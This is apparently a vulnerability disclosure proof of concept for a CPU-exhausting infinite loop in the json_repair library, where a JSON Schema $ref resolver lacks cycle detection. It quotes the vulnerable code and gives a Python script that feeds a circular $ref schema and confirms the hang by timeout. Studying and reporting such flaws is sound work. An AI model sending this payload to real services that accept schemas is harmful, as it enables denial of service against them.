# src/json_repair/schema_repair.py:184-190
schema_dict = cast("dict[str, Any]", schema)
while "$ref" in schema_dict:
    ref = schema_dict["$ref"]
    resolved = self._resolve_ref(ref)
    if isinstance(resolved, bool):
        return resolved
    schema_dict = resolved

# docs/app.py:14, 21-36
data = request.get_json()
schema = data.get("schema")
if schema is not None and not isinstance(schema, (dict, bool)):
    raise ValueError("schema must be a JSON object or boolean.")
...
if schema is not None:
    loads_kwargs["schema"] = schema
parsed_json = loads(malformed_json, **loads_kwargs)

#!/usr/bin/env python3
"""
PoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS
CWE-835 — Loop with Unreachable Exit Condition

Affected: json_repair <= 0.59.10 (commit 0015c74)
Sink:     src/json_repair/schema_repair.py:185
          SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection.

Attack schema:
    {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}

When passed to loads(..., schema=<above>), resolve_schema() enters an infinite loop
because _resolve_ref() always returns the same dict object from root_schema.

Verdict logic:
  - Baseline (valid schema) must complete in < TIMEOUT seconds.
  - Attack (circular $ref) must still be running at TIMEOUT seconds.
  Both conditions together constitute deterministic proof of the vulnerability.
"""

import os
import subprocess
import sys
import tempfile
import time

# Seconds to wait before declaring the attack confirmed (infinite loop)
TIMEOUT_SECONDS = 5

CIRCULAR_SCHEMA = {
    "$ref": "#/definitions/a",
    "definitions": {
        "a": {"$ref": "#/definitions/a"}
    }
}

NORMAL_SCHEMA = {
    "type": "object",
    "properties": {
        "name": {"type": "string"}
    }
}

_RUNNER_TEMPLATE = """\
import sys
sys.path.insert(0, '/app/repo/src')
from json_repair import loads
schema = {schema_repr}
result = loads('{{}}', schema=schema)
print(result)
"""


def run_schema_test(schema: dict, timeout: int) -> tuple[bool, float, str]:
    """
    Run json_repair loads() with the given schema in an isolated subprocess.

    Returns:
        timed_out (bool): True if the process was still running at `timeout` seconds.
        elapsed (float): Wall-clock seconds until completion or kill.
        output (str): stdout/stderr excerpt.
    """
    script_content = _RUNNER_TEMPLATE.format(schema_repr=repr(schema))

    with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as fh:
        fh.write(script_content)
        script_path = fh.name

    start = time.monotonic()
    try:
        proc = subprocess.run(
            [sys.executable, script_path],
            timeout=timeout,
            capture_output=True,
            text=True,
        )
        elapsed = time.monotonic() - start
        output = (proc.stdout.strip() or proc.stderr.strip())[:400]
        return False, elapsed, output
    except subprocess.TimeoutExpired:
        elapsed = time.monotonic() - start
        return True, elapsed, f"[no output — process killed after {elapsed:.2f}s]"
    finally:
        os.unlink(script_path)


def main() -> int:
    print("=" * 64)
    print("VULN-001 PoC: Circular $ref JSON Schema DoS")
    print("json_repair SchemaRepairer.resolve_schema() — CWE-835")
    print("=" * 64)

    # --- Test 1: baseline (must complete quickly) ---
    print(f"\n[TEST 1] Baseline — valid schema (expect completion < {TIMEOUT_SECONDS}s)")
    timed_out_baseline, elapsed_baseline, output_baseline = run_schema_test(
        NORMAL_SCHEMA, TIMEOUT_SECONDS
    )
    if timed_out_baseline:
        print(f"  UNEXPECTED TIMEOUT after {elapsed_baseline:.2f}s — environment issue")
        baseline_ok = False
    else:
        print(f"  COMPLETED in {elapsed_baseline:.3f}s  ->  {output_baseline}")
        baseline_ok = True

    # --- Test 2: circular $ref attack (must time out) ---
    print(
        f"\n[TEST 2] Attack — circular $ref schema"
        f" (expect hang > {TIMEOUT_SECONDS}s)"
    )
    print(f"  Schema: {CIRCULAR_SCHEMA}")
    timed_out_attack, elapsed_attack, output_attack = run_schema_test(
        CIRCULAR_SCHEMA, TIMEOUT_SECONDS
    )
    if timed_out_attack:
        print(
            f"  TIMED OUT after {elapsed_attack:.2f}s "
            f"— infinite loop CONFIRMED (VULNERABLE)"
        )
        attack_confirmed = True
    else:
        print(
            f"  Completed in {elapsed_attack:.3f}s  ->  {output_attack}"
            f"\n  (patched or not triggered — check installation)"
        )
        attack_confirmed = False

    # --- Summary ---
    print("\n" + "=" * 64)
    if baseline_ok and attack_confirmed:
        print("VERDICT: PASS")
        print("  Normal schema  : returned in under 1 s")
        print(f"  Circular $ref  : still running after {TIMEOUT_SECONDS}s (killed)")
        print("  Conclusion: resolve_schema() enters an unbounded loop on circular $ref.")
        return 0
    elif not attack_confirmed:
        print("VERDICT: FAIL — circular $ref did not cause an infinite loop")
        print("  The library may already be patched in this build.")
        return 2
    else:
        print("VERDICT: FAIL — baseline test failed; check the environment")
        return 3


if __name__ == "__main__":
    sys.exit(main())